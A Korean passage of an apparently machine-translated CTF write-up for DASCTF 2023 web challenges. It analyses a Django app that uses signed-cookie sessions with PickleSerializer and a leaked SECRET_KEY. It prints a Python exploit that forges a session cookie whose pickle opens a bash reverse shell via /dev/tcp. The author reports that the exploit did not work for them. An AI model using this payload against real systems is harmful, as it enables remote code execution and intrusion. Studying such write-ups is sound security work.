  6. 설치된 애플리케이션: INSTALLED_APPS 목록에는 프로젝트에서 사용되는 Django 애플리케이션이 포함됩니다. 이 예에서는 일부 기본 애플리케이션 외에도 app다음과 같은 애플리케이션이 있습니다.
  7. 미들웨어 설정: MIDDLEWARE 요청과 응답 사이에 실행되는 미들웨어가 포함된 목록입니다. 미들웨어는 요청과 응답을 처리하고 일부 전처리 또는 후처리 작업을 수행하는 데 사용됩니다.
  8. 루트 URL 구성: ROOT_URLCONF 변수는 루트 URL 구성 파일의 경로를 지정합니다. 이 예에서 루트 URL 프로필은 입니다 openlug.urls.
  9. 세션 엔진 설정: 세션을 구성하는 데 사용되는 스토리지 엔진 및 직렬화 방법입니다 SESSION_ENGINE.SESSION_SERIALIZER
  10. 템플릿 설정: TEMPLATES 목록은 Django 템플릿 엔진의 구성을 정의합니다. 템플릿이 저장되는 디렉터리, 템플릿 엔진의 백엔드 및 컨텍스트 프로세서를 지정합니다.
  11. WSGI 애플리케이션: WSGI_APPLICATION 변수는 WSGI 애플리케이션에 대한 경로를 지정합니다.
  12. 데이터베이스 구성: DATABASES 사전은 데이터베이스 연결에 대한 설정을 정의합니다. 이 예제에서는 SQLite가 기본 데이터베이스로 사용되며 데이터베이스 파일은 프로젝트의 루트 디렉터리에 저장됩니다.
  13. 비밀번호 확인 설정: AUTH_PASSWORD_VALIDATORS 이 목록은 유사성, 최소 길이, 공통 비밀번호 등을 포함하여 사용자 비밀번호를 확인하기 위한 규칙을 정의합니다.
  14. 국제화 설정: LANGUAGE_CODE , TIME_ZONE, 및 는 국제화 및 시간대 설정을 구성하는 데 사용됩니다 USE_I18N.USE_L10NUSE_TZ
  15. 정적 파일 설정: STATIC_URL CSS 및 JavaScript와 같은 정적 리소스에 액세스하는 데 사용되는 정적 파일의 URL 접두사를 정의합니다.
  16. 로그인 URL 설정: LOGIN_URL 로그인하지 않은 사용자가 보호된 페이지에 액세스하려고 할 때 리디렉션되는 URL을 지정합니다.

templates디렉토리를 보면 urls.py4개의 경로가 있음을 알 수 있습니다.

from django.urls import path

from . import views

urlpatterns = [
    path('', views.index_view, name='index'),
    path('login', views.login_view, name='login'),
    path('auth', views.auth_view, name='auth'),
    path('error', views.error_view, name='error')
]

인증 라우팅 코드는 다음과 같습니다.

def auth_view(request, onsuccess='/', onfail='/error'):
    username = request.POST["username"]
    password = request.POST["password"]
    user = authenticate(request, username=username, password=password)
    if user is not None:
        login(request, user)
        return redirect(onsuccess)
    else:
        return redirect(onfail)

이 코드의 위험한 부분은 여기에 있습니다

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
  1. ROOT_URLCONF = 'openlug.urls': 이 설정은 프로젝트의 루트 URL 구성 파일에 대한 경로를 정의합니다. Django에서 루트 URL 구성 파일은 다양한 URL 경로를 해당 뷰 기능이나 기타 처리 논리에 매핑하는 역할을 합니다. openlug.urls이 예에서는 프로젝트의 openlug애플리케이션 파일인 루트 URL 구성 파일이 있습니다 urls.py.
  2. SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies': 이 설정은 Django 세션에 대한 스토리지 엔진을 지정합니다. 세션은 서로 다른 HTTP 요청 간에 사용자 데이터를 저장하는 메커니즘입니다. 여기서 세션 저장 엔진은 로 설정되어 있습니다 signed_cookies. 이는 세션 데이터가 암호화되어 브라우저의 쿠키에 저장된다는 의미입니다.
  3. SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer': 이 설정은 세션 데이터가 직렬화되는 방법을 정의합니다. Django에서는 저장 및 전송을 위해 세션 데이터를 직렬화해야 합니다. 여기서 세션 데이터는 PickleSerializerDjango에서 기본적으로 제공하는 직렬화 방법인 를 사용하여 직렬화됩니다. 이는 Python의 pickle모듈을 사용하여 데이터를 바이너리 형식으로 직렬화하는 것입니다.

SECRET_KEY 및 SESSION_SERIALIZER는 PickleSerializer로 제공되며, 피클 역직렬화를 수행하기 위해 세션을 사용해야 하며, 인증 인증 중에 세션에서 pickle.loads()를 수행해야 합니다.

여기에서 SESSION_SERIALIZERyes 를 볼 수 있고 PICKLE, session 을 생각할 수 있으며 pickle反序列化소스 코드에도 secret_key제공되어 있습니다.

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

먼저 exp를 구성할 수 있습니다.

import urllib3

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

import django.core.signing

import pickle

class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)


import subprocess
import base64

class Command(object):
    def __reduce__(self):
        return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/ip/port <&1"',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
    Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)

여기는 처음에 팝업이 뜨지 ​​않았는데 페이로드 생성시에는 Python 버전이라고 했고, 피클 패키지 버전 등이 버전이 로 바뀌었습니다.python3.5

여기서는 쉘을 성공적으로 리바인드하지 못하고, 파이썬 버전도 수정했는데 여전히 동작하지 않아서 포기했습니다.

ez_timing

다시는 그런 일이 일어나지 않습니다. 너무 어렵습니다. n03tAck team기사를 읽으십시오.


다음과 같은 마스터의 기사를 참조하십시오.

Article_Master kelp: Python 프로토타입 체인 오염 변형(prototype-pollution-in-python)

이건 너무 강해

부기팝 마스터: DASCTF 2023 및 0X401 웹 쓰기업

스타 얼라이언스 보안 팀: DASCTF 2023 및 0X401 7월 여름 챌린지 작성

n03tAck 팀:2023DASCTF&0X401 WriteUp

丨Arcueid丨Master: ctf의 플라스크 계산 핀 요약

Master Calabash 42: DASCTF 2023 및 0X401 7월 여름 챌린지 웹 재등장

추천

출처blog.csdn.net/Leaf_initial/article/details/132133789